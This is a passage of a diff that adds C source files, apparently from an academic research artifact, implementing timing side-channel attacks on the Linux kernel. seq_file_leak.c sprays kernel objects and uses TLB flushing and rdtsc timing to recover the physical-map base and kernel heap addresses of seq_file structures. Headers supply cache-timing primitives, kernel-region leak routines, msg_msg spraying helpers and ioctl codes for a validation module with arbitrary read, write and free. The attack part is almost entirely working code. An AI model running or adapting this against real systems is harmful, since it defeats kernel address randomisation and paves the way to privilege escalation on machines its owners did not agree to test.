continue;
|
||||
size_t found_40 = hit_flush(pipes[40][0], cur_addr, TRIES);
|
||||
if (!found_40)
|
||||
continue;
|
||||
size_t found_39 = hit_flush(pipes[39][0], cur_addr, TRIES);
|
||||
if (!found_39)
|
||||
continue;
|
||||
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if (found_addresses[0] == (pipe_buffer_0 & ~((1<<12)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
212
artifacts/heap/seq_file_leak.c
Normal file
212
artifacts/heap/seq_file_leak.c
Normal file
|
@ -0,0 +1,212 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define OBJS_PER_SLAB 34
|
||||
#define FILES_SPRAY (OBJS_PER_SLAB*200)
|
||||
#define FILES (OBJS_PER_SLAB*10)
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
char buffer[1<<12];
|
||||
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
for (size_t i = 0; i < FILES_SPRAY; ++i)
|
||||
open("/proc/self/stat", O_RDONLY);
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
int fds[FILES];
|
||||
for (size_t i = 0; i < FILES; ++i) {
|
||||
fds[i] = open("/proc/self/stat", O_RDONLY);
|
||||
if (fds[i] < 0) {
|
||||
perror("open(/proc/self/stat)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t seq_file_0;
|
||||
size_t seq_file_1;
|
||||
size_t seq_file_2;
|
||||
size_t seq_file_3;
|
||||
size_t seq_file_33;
|
||||
lkm_seq_file_leak((size_t)&seq_file_0, fds[0]);
|
||||
printf("[*] seq_file 0 %016zx\n", seq_file_0);
|
||||
lkm_seq_file_leak((size_t)&seq_file_1, fds[1]);
|
||||
printf("[*] seq_file 1 %016zx\n", seq_file_1);
|
||||
lkm_seq_file_leak((size_t)&seq_file_2, fds[2]);
|
||||
printf("[*] seq_file 2 %016zx\n", seq_file_2);
|
||||
lkm_seq_file_leak((size_t)&seq_file_3, fds[3]);
|
||||
printf("[*] seq_file 3 %016zx\n", seq_file_3);
|
||||
lkm_seq_file_leak((size_t)&seq_file_33, fds[OBJS_PER_SLAB-1]);
|
||||
printf("[*] seq_file %d %016zx\n", OBJS_PER_SLAB-1, seq_file_33);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(seq_file_0);
|
||||
printf("[*] %016zx is %s page\n", seq_file_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
if (is_2mb(fds[0], addr, 40))
|
||||
continue;
|
||||
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(fds[0], cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_ns1 = hit_flush(fds[OBJS_PER_SLAB], cur_addr, TRIES);
|
||||
if (found_ns1)
|
||||
continue;
|
||||
size_t found_ns2 = hit_flush(fds[OBJS_PER_SLAB*2], cur_addr, TRIES);
|
||||
if (found_ns2)
|
||||
continue;
|
||||
size_t found_ns3 = hit_flush(fds[OBJS_PER_SLAB*3], cur_addr, TRIES);
|
||||
if (found_ns3)
|
||||
continue;
|
||||
size_t found_ns4 = hit_flush(fds[OBJS_PER_SLAB*4], cur_addr, TRIES);
|
||||
if (found_ns4)
|
||||
continue;
|
||||
size_t found_ns5 = hit_flush(fds[OBJS_PER_SLAB*5], cur_addr, TRIES);
|
||||
if (found_ns5)
|
||||
continue;
|
||||
size_t found_ns6 = hit_flush(fds[OBJS_PER_SLAB*6], cur_addr, TRIES);
|
||||
if (found_ns6)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(fds[1], cur_addr, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(fds[2], cur_addr, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(fds[3], cur_addr, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
|
||||
if (found_addresses_index == 32) {
|
||||
printf("[?] too much found addresses\n");
|
||||
continue;
|
||||
}
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if (found_addresses[0] == (seq_file_0 & ~((1<<12)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
136
artifacts/include/cacheutils.h
Normal file
136
artifacts/include/cacheutils.h
Normal file
|
@ -0,0 +1,136 @@
|
|||
#ifndef CACHEUTILS_H
|
||||
#define CACHEUTILS_H
|
||||
|
||||
#ifndef HIDEMINMAX
|
||||
#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))
|
||||
#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))
|
||||
#endif
|
||||
|
||||
void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
|
||||
|
||||
inline size_t rdtsc_nofence(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("mfence");
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
asm volatile ("mfence");
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc_cpuid_begin() {
|
||||
size_t a, d;
|
||||
asm volatile ("mfence\n\t"
|
||||
"RDTSCP\n\t"
|
||||
"mov %%rdx, %0\n\t"
|
||||
"mov %%rax, %1\n\t"
|
||||
"xor %%rax, %%rax\n\t"
|
||||
"CPUID\n\t"
|
||||
: "=r" (d), "=r" (a)
|
||||
:
|
||||
: "%rax", "%rbx", "%rcx", "%rdx");
|
||||
a = (d<<32) | a;
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc_cpuid_end() {
|
||||
size_t a, d;
|
||||
asm volatile(
|
||||
"xor %%rax, %%rax\n\t"
|
||||
"CPUID\n\t"
|
||||
"RDTSCP\n\t"
|
||||
"mov %%rdx, %0\n\t"
|
||||
"mov %%rax, %1\n\t"
|
||||
"mfence\n\t"
|
||||
: "=r" (d), "=r" (a)
|
||||
:
|
||||
: "%rax", "%rbx", "%rcx", "%rdx");
|
||||
a = (d<<32) | a;
|
||||
return a;
|
||||
}
|
||||
|
||||
|
||||
inline size_t rdtsc_begin(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("mfence");
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
asm volatile ("lfence");
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc_end(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("lfence");
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
asm volatile ("mfence");
|
||||
return a;
|
||||
}
|
||||
|
||||
inline void flush(__attribute__((unused))size_t p)
|
||||
{
|
||||
asm volatile (".intel_syntax noprefix");
|
||||
asm volatile ("clflush qword ptr [%0]\n" : : "r" (p));
|
||||
asm volatile (".att_syntax");
|
||||
}
|
||||
|
||||
inline void prefetcht0(void* p)
|
||||
{
|
||||
asm volatile ("prefetcht0 (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
inline void prefetcht1(void* p)
|
||||
{
|
||||
asm volatile ("prefetcht1 (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
inline void prefetcht2(void* p)
|
||||
{
|
||||
asm volatile ("prefetcht2 (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
inline void prefetchnta(void* p)
|
||||
{
|
||||
asm volatile ("prefetchnta (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
inline void prefetch2(void* p)
|
||||
{
|
||||
asm volatile ("prefetchnta (%0)" : : "a" (p));
|
||||
asm volatile ("prefetcht2 (%0)" : : "a" (p));
|
||||
}
|
||||
|
||||
|
||||
inline void prefetch(__attribute__((unused))size_t p)
|
||||
{
|
||||
asm volatile (".intel_syntax noprefix");
|
||||
asm volatile ("prefetchnta qword ptr [%0]" : : "r" (p));
|
||||
asm volatile ("prefetcht2 qword ptr [%0]" : : "r" (p));
|
||||
asm volatile (".att_syntax");
|
||||
}
|
||||
|
||||
inline void longnop(void)
|
||||
{
|
||||
asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n");
|
||||
}
|
||||
|
||||
#endif
|
92
artifacts/include/coarse_grain_leak.h
Normal file
92
artifacts/include/coarse_grain_leak.h
Normal file
|
@ -0,0 +1,92 @@
|
|||
#pragma once
|
||||
|
||||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include <stdint.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
#define IDENTITY_START 0xffff888000000000
|
||||
#define IDENTITY_END 0xffffc87fffffffff
|
||||
#define VMEMMAP_START 0xffff888800000000
|
||||
#define VMEMMAP_END (0xfffff00000000000-(1ULL<<30))
|
||||
|
||||
size_t __vmemmap_leak(size_t tries, size_t *found)
|
||||
{
|
||||
size_t addr;
|
||||
for (addr = VMEMMAP_END; addr > VMEMMAP_START; addr -= (1ULL << 30)) {
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
*found = hit(addr, 4) && hit_accurate(addr, 30);
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
size_t vmemmap_leak(size_t tries)
|
||||
{
|
||||
size_t found = 0;
|
||||
return __vmemmap_leak(tries, &found);
|
||||
}
|
||||
size_t vmemmap_leak_found(size_t tries, size_t *found)
|
||||
{
|
||||
return __vmemmap_leak(tries, found);
|
||||
}
|
||||
|
||||
size_t __dpm_leak(size_t tries, size_t *found)
|
||||
{
|
||||
size_t addr;
|
||||
for (addr = IDENTITY_START; addr < IDENTITY_END; addr += (1ULL << 30)) {
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
*found = hit(addr, 4) && hit_accurate(addr, 30);
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
size_t dpm_leak(size_t tries)
|
||||
{
|
||||
size_t found = 0;
|
||||
return __dpm_leak(tries, &found);
|
||||
}
|
||||
size_t dpm_leak_found(size_t tries, size_t *found)
|
||||
{
|
||||
return __dpm_leak(tries, found);
|
||||
}
|
||||
|
||||
size_t __vmalloc_leak(size_t tries, size_t *found)
|
||||
{
|
||||
size_t addr;
|
||||
size_t dpm_base = dpm_leak(tries);
|
||||
// 128 GB after the dpm base
|
||||
for (addr = dpm_base + (128ULL << 30); addr < VMEMMAP_END; addr += (1ULL << 30)) {
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
*found = hit(addr, 4) && hit_accurate(addr, 30);
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
size_t vmalloc_leak(size_t tries)
|
||||
{
|
||||
size_t found = 0;
|
||||
return __vmalloc_leak(tries, &found);
|
||||
}
|
||||
size_t vmalloc_leak_found(size_t tries, size_t *found)
|
||||
{
|
||||
return __vmalloc_leak(tries, found);
|
||||
}
|
143
artifacts/include/debug.h
Normal file
143
artifacts/include/debug.h
Normal file
|
@ -0,0 +1,143 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
|
||||
enum AnsiColor
|
||||
{
|
||||
Ansi_Red = 31,
|
||||
Ansi_Green = 32,
|
||||
Ansi_Yellow = 33,
|
||||
Ansi_Blue = 34,
|
||||
Ansi_Magenta = 35,
|
||||
Ansi_Cyan = 36,
|
||||
Ansi_White = 37,
|
||||
};
|
||||
|
||||
size_t DEBUG = 0;
|
||||
size_t INFO = 1;
|
||||
size_t SUCCESS = 1;
|
||||
size_t ERROR = 1;
|
||||
|
||||
#define DEBUG_NO_COLOR
|
||||
|
||||
#ifndef DEBUG_NO_COLOR
|
||||
#define DEBUG_FORMAT_STRING "\033[1;%zum[%-1s]\033[0;39m "
|
||||
#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_colors[x], debug_labels[x]
|
||||
#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_colors[x], debug_labels[x], gettid()
|
||||
#else
|
||||
#define DEBUG_FORMAT_STRING "[%-1s] "
|
||||
#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_labels[x]
|
||||
#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_labels[x], gettid()
|
||||
#endif
|
||||
|
||||
#define debug_debug(...) do { if (DEBUG) { printf(PRINTF_DEBUG(0)); printf(__VA_ARGS__); } } while (0)
|
||||
#define debug_info(...) do { if (INFO) { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } } while (0)
|
||||
#define debug_success(...) do { if (SUCCESS) { printf(PRINTF_INFO(1)); printf(__VA_ARGS__); } } while (0)
|
||||
#define debug_error(...) do { if (ERROR) { printf(PRINTF_INFO(2)); printf(__VA_ARGS__); exit(-1); } } while (0)
|
||||
#define debug_print(...) do { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } while (0)
|
||||
|
||||
// static int current_stage = 0;
|
||||
// __attribute__((unused))static void next_stage(void)
|
||||
// {
|
||||
// current_stage++;
|
||||
// }
|
||||
static const char* debug_labels[] =
|
||||
{
|
||||
"*", "+", "!"
|
||||
};
|
||||
static const size_t debug_colors[] =
|
||||
{
|
||||
Ansi_Cyan, Ansi_Green, Ansi_Red
|
||||
};
|
||||
__attribute__((unused))static void hex_dump(size_t* addresses, size_t length)
|
||||
{
|
||||
for (size_t i = 0; i < length; ++i)
|
||||
{
|
||||
debug_info("0x%016lx\n", addresses[i]);
|
||||
}
|
||||
}
|
||||
|
||||
void wait_input(void)
|
||||
{
|
||||
debug_print("> ");
|
||||
getchar();
|
||||
}
|
||||
|
||||
#define MAX_TIME 4096
|
||||
#define RATIO 2
|
||||
#define MAX_TIME_VAL 128
|
||||
void print_ptrs_times(size_t *ptrs, size_t *times, size_t size)
|
||||
{
|
||||
size_t max = 0;
|
||||
size_t min = -1;
|
||||
size_t adjusted_time;
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
if (times[i] > max && times[i] < 4000 + max)
|
||||
max = times[i];
|
||||
if (times[i] < min)
|
||||
min = times[i];
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
adjusted_time = (times[i] - min) * MAX_TIME_VAL / max;
|
||||
printf("% 5ld:% 7ld:%016zx:", i, times[i], ptrs[i]);
|
||||
for (size_t j = 0; j < adjusted_time; ++j)
|
||||
printf("#");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
void print_times(size_t *times, size_t size)
|
||||
{
|
||||
size_t max = 0;
|
||||
size_t min = -1;
|
||||
size_t adjusted_time;
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
if (times[i] > max && times[i] < 4000 + max)
|
||||
max = times[i];
|
||||
if (times[i] < min)
|
||||
min = times[i];
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
adjusted_time = (times[i] - min) * MAX_TIME_VAL / max;
|
||||
printf("% 5ld:% 7ld:", i, times[i]);
|
||||
for (size_t j = 0; j < adjusted_time; ++j)
|
||||
printf("#");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
void print_hist(size_t *times, size_t size)
|
||||
{
|
||||
size_t start_time = 0;
|
||||
size_t end_time = MAX_TIME;
|
||||
size_t hist[MAX_TIME];
|
||||
memset(hist, 0, sizeof(hist));
|
||||
|
||||
for (size_t i = 0; i < size; ++i)
|
||||
if (times[i]/RATIO < MAX_TIME)
|
||||
++hist[times[i]/RATIO];
|
||||
|
||||
for (size_t i = 0; i < MAX_TIME; ++i) {
|
||||
if (hist[i] > 3) {
|
||||
start_time = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (ssize_t i = MAX_TIME; i >= 0; --i) {
|
||||
if (hist[i] > 3) {
|
||||
end_time = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = start_time; i < end_time; ++i) {
|
||||
printf("% 5ld:", i*RATIO);
|
||||
for (size_t j = 0; j < hist[i]; ++j)
|
||||
printf("#");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
76
artifacts/include/lkm.h
Normal file
76
artifacts/include/lkm.h
Normal file
|
@ -0,0 +1,76 @@
|
|||
#pragma once
|
||||
|
||||
#define LKM_ALLOC 100
|
||||
#define LKM_FREE 101
|
||||
#define LKM_READ 102
|
||||
#define LKM_WRITE 103
|
||||
#define LKM_ALLOC_LOCATION 104
|
||||
#define LKM_DPM_TEST 105
|
||||
#define LKM_ACCESS_PRIMITIVE 106
|
||||
#define LKM_BPF_DPM_SPLIT 107
|
||||
#define LKM_MSG_MSG_LEAK 108
|
||||
#define LKM_DPM_LEAK 109
|
||||
#define LKM_VIRTUAL_BASE_LEAK 110
|
||||
#define LKM_STACK_LEAK 111
|
||||
#define LKM_CODE_LEAK 112
|
||||
#define LKM_VMEMMAP_LEAK 113
|
||||
#define LKM_VMALLOC_BASE_LEAK 114
|
||||
#define LKM_SEQ_FILE_LEAK 115
|
||||
#define LKM_CRED_LEAK 116
|
||||
#define LKM_FILE_LEAK 117
|
||||
#define LKM_ARB_FREE 118
|
||||
#define LKM_PIPE_BUFFER_LEAK 119
|
||||
#define LKM_PAGETABLE_WALK 120
|
||||
#define LKM_IS_4KB 121
|
||||
|
||||
typedef union {
|
||||
struct write {
|
||||
size_t kaddr;
|
||||
size_t value;
|
||||
} wr;
|
||||
struct read {
|
||||
size_t kaddr;
|
||||
size_t uaddr;
|
||||
} rd;
|
||||
struct access_primitive {
|
||||
size_t addr;
|
||||
} ap;
|
||||
struct dpm_split {
|
||||
size_t size;
|
||||
} dpms;
|
||||
struct msg_msg_rd {
|
||||
size_t uaddr;
|
||||
size_t msqid;
|
||||
size_t mtype;
|
||||
} mrd;
|
||||
struct dpm_rd {
|
||||
size_t uaddr;
|
||||
} drd;
|
||||
struct alloc {
|
||||
size_t id;
|
||||
size_t size;
|
||||
} al;
|
||||
struct free {
|
||||
size_t id;
|
||||
} fr;
|
||||
struct file_rd {
|
||||
size_t fd;
|
||||
size_t uaddr;
|
||||
} frd;
|
||||
struct pipe_buffer_rd {
|
||||
size_t fd;
|
||||
size_t uaddr;
|
||||
size_t rdend;
|
||||
} pbrd;
|
||||
struct arb_free {
|
||||
size_t kaddr;
|
||||
} af;
|
||||
struct pagetable_walk {
|
||||
size_t uaddr;
|
||||
size_t pgde;
|
||||
size_t p4de;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
} ptw;
|
||||
} msg_t;
|
66
artifacts/include/msg_msg.h
Normal file
66
artifacts/include/msg_msg.h
Normal file
|
@ -0,0 +1,66 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
int make_queue(key_t key, int msgflg)
|
||||
{
|
||||
int result;
|
||||
if ((result = msgget(key, msgflg)) == -1) {
|
||||
perror("msgget");
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int cleanup_queue_no_err(key_t key)
|
||||
{
|
||||
return msgctl(key, IPC_RMID, 0);
|
||||
}
|
||||
|
||||
int cleanup_queue(key_t key)
|
||||
{
|
||||
int result;
|
||||
if ((result = msgctl(key, IPC_RMID, 0)) == -1) {
|
||||
perror("msgctl");
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
long mtype;
|
||||
char mtext[1];
|
||||
} msg;
|
||||
|
||||
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
|
||||
{
|
||||
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
|
||||
perror("msgsnd");
|
||||
exit(-1);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void send_msg_no_err(int msqid, void *msgp, size_t msgsz, int msgflg)
|
||||
{
|
||||
msgsnd(msqid, msgp, msgsz, msgflg);
|
||||
}
|
||||
|
||||
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
|
||||
{
|
||||
ssize_t ret;
|
||||
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
if (ret < 0) {
|
||||
perror("msgrcv");
|
||||
exit(-1);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
|
||||
{
|
||||
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
}
|
57
artifacts/include/pgtable.h
Normal file
57
artifacts/include/pgtable.h
Normal file
|
@ -0,0 +1,57 @@
|
|||
#pragma once
|
||||
|
||||
#define _PAGE_BIT_PRESENT 0 /* is present */
|
||||
#define _PAGE_BIT_RW 1 /* writeable */
|
||||
#define _PAGE_BIT_USER 2 /* userspace addressable */
|
||||
#define _PAGE_BIT_PWT 3 /* page write through */
|
||||
#define _PAGE_BIT_PCD 4 /* page cache disabled */
|
||||
#define _PAGE_BIT_ACCESSED 5 /* was accessed (raised by CPU) */
|
||||
#define _PAGE_BIT_DIRTY 6 /* was written to (raised by CPU) */
|
||||
#define _PAGE_BIT_PSE 7 /* 4 MB (or 2MB) page */
|
||||
#define _PAGE_BIT_PAT 7 /* on 4KB pages */
|
||||
#define _PAGE_BIT_GLOBAL 8 /* Global TLB entry PPro+ */
|
||||
#define _PAGE_BIT_SOFTW1 9 /* available for programmer */
|
||||
#define _PAGE_BIT_SOFTW2 10 /* " */
|
||||
#define _PAGE_BIT_SOFTW3 11 /* " */
|
||||
#define _PAGE_BIT_PAT_LARGE 12 /* On 2MB or 1GB pages */
|
||||
#define _PAGE_BIT_SOFTW4 58 /* available for programmer */
|
||||
#define _PAGE_BIT_PKEY_BIT0 59 /* Protection Keys, bit 1/4 */
|
||||
#define _PAGE_BIT_PKEY_BIT1 60 /* Protection Keys, bit 2/4 */
|
||||
#define _PAGE_BIT_PKEY_BIT2 61 /* Protection Keys, bit 3/4 */
|
||||
#define _PAGE_BIT_PKEY_BIT3 62 /* Protection Keys, bit 4/4 */
|
||||
#define _PAGE_BIT_NX 63 /* No execute: only valid after cpuid check */
|
||||
|
||||
#define _PAGE_PRESENT (1ULL << _PAGE_BIT_PRESENT)
|
||||
#define _PAGE_RW (1ULL << _PAGE_BIT_RW)
|
||||
#define _PAGE_USER (1ULL << _PAGE_BIT_USER)
|
||||
#define _PAGE_PWT (1ULL << _PAGE_BIT_PWT)
|
||||
#define _PAGE_PCD (1ULL << _PAGE_BIT_PCD)
|
||||
#define _PAGE_ACCESSED (1ULL << _PAGE_BIT_ACCESSED)
|
||||
#define _PAGE_DIRTY (1ULL << _PAGE_BIT_DIRTY)
|
||||
#define _PAGE_PSE (1ULL << _PAGE_BIT_PSE)
|
||||
#define _PAGE_GLOBAL (1ULL << _PAGE_BIT_GLOBAL)
|
||||
#define _PAGE_SOFTW1 (1ULL << _PAGE_BIT_SOFTW1)
|
||||
#define _PAGE_SOFTW2 (1ULL << _PAGE_BIT_SOFTW2)
|
||||
